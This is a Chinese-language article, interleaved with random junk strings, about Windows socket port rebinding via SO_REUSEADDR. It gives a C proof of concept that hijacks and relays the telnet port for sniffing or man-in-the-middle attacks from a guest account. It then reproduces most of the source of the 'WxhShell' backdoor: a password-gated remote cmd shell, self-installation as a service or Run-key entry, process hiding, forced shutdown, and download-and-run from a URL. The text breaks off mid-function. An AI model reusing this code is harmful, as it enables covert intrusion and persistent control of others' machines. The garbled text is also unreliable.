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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ttBqp|.?S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2^r J|Ni eq<!
saddr.sin_family = AF_INET; aej'c bO -I;\9r+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;Z`R! *|@386\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7y.iXe!P 'C>sYSL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vbG&F.P 8 0o'=E}" 这意味着什么?意味着可以进行如下的攻击: [1z.JfC :S `'pAiu 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =NNxe"Kd;U {r5OtYmpR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Tv
5J pEW~zl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^oW{N EP+LK?{% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :V_UJ3xf xZ>j Q_} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @:>gRD ',rK\&lL6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h b8L[ 4 (<e<Q~( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jCIY(/ +B&+FGfNU #include 1Lp; LY"_ #include ?a1pO#{Dg #include 6)20%*[ #include <num!@2D DWORD WINAPI ClientThread(LPVOID lpParam); nI1(2a1 int main() ,]Xn9W { o-;/x) WORD wVersionRequested; OkCAvRg DWORD ret; | :id/ WSADATA wsaData; 4x#tUzb; BOOL val; lXzm) SOCKADDR_IN saddr; 1083p9Uh SOCKADDR_IN scaddr; ovDPnf( int err; ,@Kn@%?$ SOCKET s; H/={RuU SOCKET sc; sNP
; int caddsize; Z aS29} HANDLE mt; KCH`=lX DWORD tid; >vO+k^'Y wVersionRequested = MAKEWORD( 2, 2 ); JZ&_1~Z= err = WSAStartup( wVersionRequested, &wsaData ); (Q8r2*L if ( err != 0 ) { ^6LnB#C& printf("error!WSAStartup failed!\n");
Ed2A\S6tl return -1; @X560_x[q } xH}bX- m saddr.sin_family = AF_INET; k]`-Y E qV/>d', //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1i'y0]f ZE~zs~z| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &
d$X: saddr.sin_port = htons(23); x($Djx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 18Ju]U { hhFO, printf("error!socket failed!\n"); !ab ef.%: return -1; ;Zr7NKs } LIQ].VxIs val = TRUE; Ndgx@LTQQ //SO_REUSEADDR选项就是可以实现端口重绑定的 S kB*w'k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YhqMTOw { ts=:r printf("error!setsockopt failed!\n"); pVrY';[,| return -1; ;oDr8a<A } ?)(-_N&T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r9L--#=z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )feZ&G] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?,8+1"|$A] G#^0Bh& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .`V$j.a { =Vazxt@[ ret=GetLastError(); 6]kBG?m0 printf("error!bind failed!\n"); =9,^Tu| return -1; 5Dz$_2oM3 } E0EK88 listen(s,2); \<09.q<8 while(1) {IaDZ/XS6 { @qj]`}Gx' caddsize = sizeof(scaddr); X)+6>\ //接受连接请求 CjP<'0gT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ym!e}`A\F if(sc!=INVALID_SOCKET) P=\{ { cC+2%q B mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kfT*G
+l] if(mt==NULL) QCE7VV1Rw { uoeZb=< printf("Thread Creat Failed!\n"); VuH -> break; SY%y *6[6 } 7]ysvSM } SgehOu CloseHandle(mt); Q~VM.G } W I MBwmg closesocket(s); w>=N~0@t WSACleanup(); Ke?,AWfG return 0; hqmE]hwc } \IImxkE DWORD WINAPI ClientThread(LPVOID lpParam) x&0kIF'lq { "42/P4: SOCKET ss = (SOCKET)lpParam; |5O>7~Tp SOCKET sc; Lhe& unsigned char buf[4096]; tp>YsQy]8 SOCKADDR_IN saddr; }(|gC, long num; *kg->J DWORD val; PPIO<K 3` DWORD ret; <r$h =hM //如果是隐藏端口应用的话,可以在此处加一些判断 %A=/(%T> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 IDFzyg_ saddr.sin_family = AF_INET; ,w H~.LHi saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZH9Fs'c= saddr.sin_port = htons(23); t"q'"FX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V-n{=8s { 'wG1un;t printf("error!socket failed!\n"); UU MB"3e return -1; "wTCO1 } bvB',yBZ val = 100; Rqp#-04*W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ipbhjK$ { 3IlVSR^py ret = GetLastError(); fx[&"$X return -1; X.k8w\~ } s(3HZ>qx; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D5snaGss9a { vk48&8 ret = GetLastError(); P=jsOuW return -1; Opc szq5n } MK)}zjw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a*U[;( { jS##zC printf("error!socket connect failed!\n"); e&d$kUJrq closesocket(sc); (EY@{'.& closesocket(ss); o
/[7Vo return -1; X~0-W Bz } )Ak#1w&q while(1) 4^l 9d { !V3+(o1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _G/R;N71 //如果是嗅探内容的话,可以再此处进行内容分析和记录 "T5oUy&i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e8^/S^ =&d num = recv(ss,buf,4096,0); pF-_yyQ if(num>0) }3X/"2SW^ send(sc,buf,num,0); : #CWiq("% else if(num==0) =-fM2oiI: break; f(D'qV T{ num = recv(sc,buf,4096,0); EOXkMr if(num>0) LkS tU) send(ss,buf,num,0); IONo&~-l else if(num==0) 4J_HcatOB break; jc
Mn } D5@=#/?* closesocket(ss); WF~BCP$OR closesocket(sc); 7cGOJA5& return 0 ; klT?h[I! } RdWn =; <m`CLVx8m >,]a>V ==========================================================
S
W%>8 @gK`RmhGE5 下边附上一个代码,,WXhSHELL jc9C|r ZY`9 ========================================================== ?j.a>{ xOj#%; #include "stdafx.h" M*gvYo ]A%3\)r #include <stdio.h> JP<j4/ #include <string.h> 18rV Acj #include <windows.h> \#:
W #include <winsock2.h> 5.{=Op! #include <winsvc.h> +?U[362> #include <urlmon.h> :5%98V>02 a~0 ~Y y #pragma comment (lib, "Ws2_32.lib") hHJvLs>^ #pragma comment (lib, "urlmon.lib") +d\o|}c `~)?OTzU# #define MAX_USER 100 // 最大客户端连接数 <PDCM8 #define BUF_SOCK 200 // sock buffer +\Jo^\ #define KEY_BUFF 255 // 输入 buffer qr%N/7 2{b/*w #define REBOOT 0 // 重启 ?YL JXq #define SHUTDOWN 1 // 关机 x;u#ec4 Dnw^H. #define DEF_PORT 5000 // 监听端口 }? / Blr ]j>xQm\ #define REG_LEN 16 // 注册表键长度 qSr]d`7@ #define SVC_LEN 80 // NT服务名长度 uE')<fVX( -#f.}H' // 从dll定义API
QvZ"{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gkuqe3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -\f7qRW^U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VU,G.eLW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .>R`#@+I IsI5c // wxhshell配置信息 I~n4}}9M struct WSCFG { DfAF-Yhut int ws_port; // 监听端口 )mm0PJF~q char ws_passstr[REG_LEN]; // 口令 }jCO@v; int ws_autoins; // 安装标记, 1=yes 0=no 90W=v* char ws_regname[REG_LEN]; // 注册表键名 zb9G&'7 char ws_svcname[REG_LEN]; // 服务名 5`p9Xo>)yW char ws_svcdisp[SVC_LEN]; // 服务显示名 yk?bz char ws_svcdesc[SVC_LEN]; // 服务描述信息 $8eiifj char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #G]IEO$M6 int ws_downexe; // 下载执行标记, 1=yes 0=no 5HOl~E char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" H^n@9U;[K char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cgrSd99. 0QZT<Zs }; ]?VVwft <WIIurp // default Wxhshell configuration Bp7p X struct WSCFG wscfg={DEF_PORT, t~o"x . "xuhuanlingzhe", GO"|^W 1, no<$=(11i "Wxhshell", iZn0B5]ikj "Wxhshell", ^>l <)$s "WxhShell Service", $f3 IO#N "Wrsky Windows CmdShell Service", jI\@<6O "Please Input Your Password: ", b
VEJ 1, Vt}QPNt " http://www.wrsky.com/wxhshell.exe", ; H ;h[ "Wxhshell.exe" zz
U,0
L }; 6a,8t Zu|NF
uFI // 消息定义模块 >M2~p&Si char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4aOz=/x2 char *msg_ws_prompt="\n\r? for help\n\r#>"; $XQgat@&] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; pCIS82L char *msg_ws_ext="\n\rExit."; _|M8xI char *msg_ws_end="\n\rQuit."; LMoZI0)x char *msg_ws_boot="\n\rReboot..."; FM6{%}4 char *msg_ws_poff="\n\rShutdown..."; ZXb|3|D char *msg_ws_down="\n\rSave to "; `(HD'f ud3 :
b`N(] char *msg_ws_err="\n\rErr!"; sn:VM HrOT char *msg_ws_ok="\n\rOK!"; gJ|#xZ k)I4m.0a5 char ExeFile[MAX_PATH]; e}?Q&Lci int nUser = 0; myfTztJ HANDLE handles[MAX_USER]; Ps@']]4>W int OsIsNt; 2JK
'!Ry) Uwkxc SERVICE_STATUS serviceStatus; _\\Al v. SERVICE_STATUS_HANDLE hServiceStatusHandle; fPD.np} ;EJ!I+ // 函数声明 <w^u^)iLy1 int Install(void); X\;:aRDS int Uninstall(void); yx|iZhK0:} int DownloadFile(char *sURL, SOCKET wsh); 9~W]D!m, int Boot(int flag); ^ l#6Es void HideProc(void); 4x)vy-y int GetOsVer(void); flPS+ int Wxhshell(SOCKET wsl); D-{*3?x void TalkWithClient(void *cs); *S*49Hq7c int CmdShell(SOCKET sock); x,mt}> int StartFromService(void); ."ZG0Zg int StartWxhshell(LPSTR lpCmdLine); ^ELZ35=qZ E:8*o7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qq:}Z7
H VOID WINAPI NTServiceHandler( DWORD fdwControl ); .4v?/t1 F62 uDyY // 数据结构和表定义 qj_0
td$ SERVICE_TABLE_ENTRY DispatchTable[] = }
TUr96 { 6,YoP|@0 {wscfg.ws_svcname, NTServiceMain}, 7vZO;FGtG {NULL, NULL} y]yl7g =~ }; [Ep'm D@&xj_#\} // 自我安装 SWzqCF int Install(void) ;j1
SSHZ { b, a7XANsh char svExeFile[MAX_PATH]; 2*75*EQCH HKEY key; &fB=&jc*j strcpy(svExeFile,ExeFile); nV8'QDQ:Al D'!JV1Q // 如果是win9x系统,修改注册表设为自启动 01o<eZ, if(!OsIsNt) { 2Jt{oh | if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i
FZGfar? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =,zB|sjn RegCloseKey(key); }o:LwxNO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Ki3ls RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d;dT4vx$[M RegCloseKey(key); wY ItG"+6 return 0; s]99'Q", } *l`yxz@U } 0qNk.1pv } zlEI_th:~ else { lUjZ=3"' 3}\ z&| // 如果是NT以上系统,安装为系统服务 yJ!26 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :N<Qk if (schSCManager!=0) ~v(c9I) { @@*x/"GJG SC_HANDLE schService = CreateService G AY?F ( +H&/C1u schSCManager, RTlC]`IGT wscfg.ws_svcname, H_f8/H wscfg.ws_svcdisp, wzy[sB274 SERVICE_ALL_ACCESS, ,Gv}N& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yn!;Z._ SERVICE_AUTO_START, <J%Z?3@T SERVICE_ERROR_NORMAL, 2
)o2d^^ svExeFile, 1f+A_k/@ NULL, 7HW:;2dL NULL, _k]R6V: NULL, ?<4pYEP NULL, xKE=$SV( NULL ;!f~ ); 0B8Wf/j?M if (schService!=0) uT=r*p(v { r rfJs CloseServiceHandle(schService); 6rbR0dSgx CloseServiceHandle(schSCManager); Fq~Zr;A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~/A2:}Cp= strcat(svExeFile,wscfg.ws_svcname); fUf1G{4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qery|0W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sT1k]duT RegCloseKey(key); =XQGg`8<LB return 0; EoutB Vm }
GpTZp#~; } %1p-DX6 CloseServiceHandle(schSCManager); axmq/8X } M{orw;1Isy } Lbo3fwW rNhS\1- return 1; i
Ehc< } Eg1TF oIWl O1jiD_Y!9 // 自我卸载 >x%HqP#_V int Uninstall(void) ^|oI^"IQ= { &iu]M=Yb HKEY key; e=h-}XRC nW]CA~ if(!OsIsNt) { 3}V (8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~m<K5K6 V RegDeleteValue(key,wscfg.ws_regname); fr`#s\JKw RegCloseKey(key); KsIHJr7- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y>3zpeQ!& RegDeleteValue(key,wscfg.ws_regname); JcYY*p RegCloseKey(key); *\#<2 QAe return 0; 7R[7M%H } o% Q7 el$f }
5q@s6_"{ } yz0#0YG7 else { 0=
bXL!] 6?5dGYAX< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6@lZVM)E if (schSCManager!=0) v$@1q9 5J { fk15O_#3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ln6emXqw if (schService!=0) {9;-5@b { =#4>c8MM if(DeleteService(schService)!=0) { ?99r>01> CloseServiceHandle(schService); ,Vj& CloseServiceHandle(schSCManager); {~]5QKg. return 0; tc.|mIvw } 0?t;3z$n CloseServiceHandle(schService); 0VQBm^$( } 61QA<Wb CloseServiceHandle(schSCManager); ;=@O.iF;H } ]O:u9If } 88:YU4:l`N m["e7>9G return 1; bZUw^{~)D } o3Yb2Nw ,Gbc4x // 从指定url下载文件 id+EBVHAd int DownloadFile(char *sURL, SOCKET wsh) l#]#_ { /m>SEo\{C HRESULT hr; +68age;dM char seps[]= "/"; 6&<QjO char *token; A`~?2LH,~F char *file; I+W,%)vb char myURL[MAX_PATH]; GMZ6 dK char myFILE[MAX_PATH]; 1Hhr6T^) lxZ9y strcpy(myURL,sURL); V/DMkO#a token=strtok(myURL,seps); $s
,g&7*- while(token!=NULL) hFtjw6 { sRBfLN2C file=token; BE&8E\w token=strtok(NULL,seps); @6|0H`kv } !S7?:MJ?p\ mHW%^R= GetCurrentDirectory(MAX_PATH,myFILE); F5H*z\/={ strcat(myFILE, "\\"); LZG(T$dI strcat(myFILE, file); ?HOnDw.v1 send(wsh,myFILE,strlen(myFILE),0);
)bYOy+2g send(wsh,"...",3,0); /EQ^-4yr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zw4%L? if(hr==S_OK) r$M<vo6C return 0; |;aZi?Ek[ else !]7b31$M_ return 1; Z= -fL w(S&X"~ } `'r~3kP*NT +3AX1o%p,# // 系统电源模块 Q$:,N=% int Boot(int flag) .#sX|c=W { h7.jWJTo HANDLE hToken; ;){ZM,Ox TOKEN_PRIVILEGES tkp; F#Pn] ">8oF.A^ if(OsIsNt) { }9B}, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &\5bo=5V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q;y4yJ$wI tkp.PrivilegeCount = 1; <o|k'Y(- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X-bM`7'H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;InMgo, if(flag==REBOOT) { `B8`<3k/( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pcOKC 0b. return 0; pE+:tMH; } Rq",;,0ZJ else { 1PWi~1q{Q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {#@[ttw$U return 0; 1S+T:n } =<#++;!I
} yO\bVu5V else { tqB6:p-% if(flag==REBOOT) { P A*U\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *GhV1# < return 0; is%ef } 6_rgRo& else { c":2<:D& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x}`)'a[ return 0; @3b @]l5 } vz:VegS } |yj0Rv }a UQ#x return 1; *U\`HUW } A'u]z\&%c /{[tU-}qJ // win9x进程隐藏模块 RMs8aZCa void HideProc(void) \Q|,0` { 1B 0[dK2N PbxQ \. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mxd7X<\$ if ( hKernel != NULL ) !-SI &qy { V=>]&95-f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :To{&T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .k
up[d( FreeLibrary(hKernel); sQrM"i0Y> } a7b1c! weGsjy(b]N return; DbR!s1ux } ofYZ!-V vy-(:aH7U // 获取操作系统版本 M3d%$q)<rW int GetOsVer(void) `6NcE-oJ { YoQQ , OSVERSIONINFO winfo; NP!LBB)=Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]_!NmB_3 GetVersionEx(&winfo); CNWA!1n^Hy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [%Z{Mp'g return 1; pma=* else SFEDR?s return 0; |1(L~g } 7~N4~KAUS (2 hI // 客户端句柄模块 ~xJr|_,gp int Wxhshell(SOCKET wsl) j(pe6 { @6;ZP1 SOCKET wsh; -0k{O@l" struct sockaddr_in client; Efpju( DWORD myID; uE%2kB*] v(uNqX.BC while(nUser<MAX_USER) Smh=Q4,W { 1:|o7` int nSize=sizeof(client); \4fuC6d2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PVQn$-aq1 if(wsh==INVALID_SOCKET) return 1; %?/vC6 }4,[oD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #2*R0_b if(handles[nUser]==0) h>z5m closesocket(wsh); J'I1NeK else au+:-Khm nUser++; r"VNq&v]9 } ATV|M[B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @RdNAP_6 gEgd/Le return 0; 3r?T|>| } GJF
,w{J (
~JtKSq% // 关闭 socket ],zp~yVU& void CloseIt(SOCKET wsh) 95/;II { +mO/9m closesocket(wsh); .F\[AD 5 nUser--; |uM=pm;H ExitThread(0); 16~5 ;u } + =U9<8 UnZc9 6 // 客户端请求句柄 >v1.Gm void TalkWithClient(void *cs) A(+V{1L' { b>}
)G7b} Ubwmn!~ SOCKET wsh=(SOCKET)cs; po*r14f char pwd[SVC_LEN]; ki?V
eFp char cmd[KEY_BUFF]; _Q b].~ char chr[1]; lI9|"^n7F int i,j; ++|e
z{ &}_tALg while (nUser < MAX_USER) { )L"J?wTe M2qor.d if(wscfg.ws_passstr) { 0^d<@\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Iqj?wI1) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Okl3
!fC //ZeroMemory(pwd,KEY_BUFF); 2H~E~6G i=0; zgxMDLH while(i<SVC_LEN) { Lr "V Ozsvsa // 设置超时 8K\S]SZ fd_set FdRead; }fhGofN$e struct timeval TimeOut; m9ky?A, FD_ZERO(&FdRead); raR=k!3i FD_SET(wsh,&FdRead); 0p*Oxsy TimeOut.tv_sec=8; g(o^'f TimeOut.tv_usec=0; s}4k^NGFJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8'Q&FW3" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zo Ra^o <.lt?!.ZH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V#~.n;d pwd =chr[0]; z;&J9r$` if(chr[0]==0xd || chr[0]==0xa) { @|d`n\%x pwd=0; [E qZj/ break; YgQb(umK } IKp/xj[! i++; ,Mn`kL<F } K[q-[q#yc i\ )$ // 如果是非法用户,关闭 socket a0`(*#P if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T>5N$i } (w%9?y4Q NU3s^ 8\( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }l5Q0' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PJ)d5D%T @3?dI@i( while(1) { [3v&j_ J
c:j7}OOV ZeroMemory(cmd,KEY_BUFF); 'lgS;ItpKu VE^IA\J x // 自动支持客户端 telnet标准 c:-n0m'i j=0; v;s^j while(j<KEY_BUFF) { Et;Ubj"+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8?hj}}H cmd[j]=chr[0]; <07~EP if(chr[0]==0xa || chr[0]==0xd) { I%mGb$Q cmd[j]=0; o4YF,c+>q break; VB=jKMi } e#ne 5 j++; ~[0^{$rrWs } x!fRT.,} F^!_!V B // 下载文件 io7Zv*&T0 if(strstr(cmd,"http://")) { bKr73S9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); S\@U3|Q5 if(DownloadFile(cmd,wsh)) yY80E[v send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"A*B else i MF-TR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v2vtkYQN } )24
1-b V else { 2))pB/ n7bML?f' switch(cmd[0]) { Z07SK 'U 3Io7!:+ // 帮助 stq%Eg? case '?': { 88zK)k{ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S"R(6:hkgu break; GOX2'N\h^ } uh3<%9#\k // 安装 a=*JyZ.2 case 'i': { Jwbb>mB! if(Install()) Yi|Nd ; send(wsh,msg_ws_err,strlen(msg_ws_err),0); P2
z~U else 8q|T`ac+N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|/
4),v break; O/fm/ } ]mx1djNA // 卸载 H|<Zm:.%$ case 'r': { <1kK@m -E if(Uninstall()) .QDeS|l send(wsh,msg_ws_err,strlen(msg_ws_err),0); 69zMWuY else =u.hHkx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <a&$D break; 3moDu } nOU.=N
v` // 显示 wxhshell 所在路径 B\quXE) case 'p': { @E?o~jO(e char svExeFile[MAX_PATH]; -\8v{ry strcpy(svExeFile,"\n\r"); $6/CTQ strcat(svExeFile,ExeFile); 8LGNV&Edg send(wsh,svExeFile,strlen(svExeFile),0); q) y<\cEO break; 4l_~-Peh } TL: 6Pe // 重启 32K case 'b': { p9~$}!ua send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R rp-SR?O if(Boot(REBOOT)) )8V=!73 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ev z@c)8 else { =L,7~9 closesocket(wsh); h:<?)g~U ExitThread(0); +?GsIp@>jh } `'b2 z=j break; *^p^tK } m 8P`n // 关机 KKNQ+'? case 'd': { 1raq;^e9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 70N Lv if(Boot(SHUTDOWN)) @"/:Omh send(wsh,msg_ws_err,strlen(msg_ws_err),0); {w<"jw&2 else { tIo
b closesocket(wsh); &LHS<Nv^: ExitThread(0); t+A9nvj) } NoT%z$1n break; u56WB9Z } X`fer%` // 获取shell 4.q^r]m* case 's': { *+j r? | CmdShell(wsh); c6MMI]+8 closesocket(wsh); '_FxxLAO ExitThread(0); r|Q/:UV?w break; 0uJ??4N9 } |L(h+/>aWX // 退出 l|K$6>80 case 'x': { sQMfU{S / send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SX[ CloseIt(wsh); Nt7z
]F ` break; \ 9#X]H } oVIc^yk5a // 离开 R dLk85<n case 'q': { a[NR%Xq send(wsh,msg_ws_end,strlen(msg_ws_end),0); qzii[Mf closesocket(wsh); Dh)(?"^9A WSACleanup(); #bGYd}BfD exit(1); PySFhb@ break; aJ
J63aJ } oh,29Gg } "$A5:1; } Z~ u3{ P5&8^YV`N // 提示信息 * 5(%'3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #S"s8wdD
} _tpOVw4I } G@scz!Nt %;b] k return; 'j\mz5#s } N@V:nCl wx_j)Wij6 // shell模块句柄 ,z`* 1b8 int CmdShell(SOCKET sock) q5\iQ2f{WV { `pfRY! STARTUPINFO si; u0nIr9 ZeroMemory(&si,sizeof(si)); 2Wr^#PY60 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W:O p\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _3q}K PROCESS_INFORMATION ProcessInfo; 8+8L'Yv; char cmdline[]="cmd"; t@q==VHF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'CCAuN>J return 0; x pBQ(6Y } Y-~MkB L$v<t/W // 自身启动模式 q I*7ToBJ int StartFromService(void) S%jFH4# { 'ji|'x T typedef struct 3(_:"?x A { u4ZOHy_O^ DWORD ExitStatus; _=HNcpDA;0 DWORD PebBaseAddress; Em(Okr,0 DWORD AffinityMask; F[>Y8e<[ DWORD BasePriority; $.zd,}l@L ULONG UniqueProcessId; 3 5/ s\ ULONG InheritedFromUniqueProcessId; L+8O
4K{ } PROCESS_BASIC_INFORMATION; JV?d/[u, o^b5E=?>C PROCNTQSIP NtQueryInformationProcess; t\f[->f !1Nh`FN static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5E
=!L
g static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a&u!KAQ P<=1OWC HANDLE hProcess; \4>& zb4 PROCESS_BASIC_INFORMATION pbi; hP$5>G(3 -?NAA]P5c@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F12$BKDH if(NULL == hInst ) return 0; mQ2=t% (W?t'J^# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f(
<O~D g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
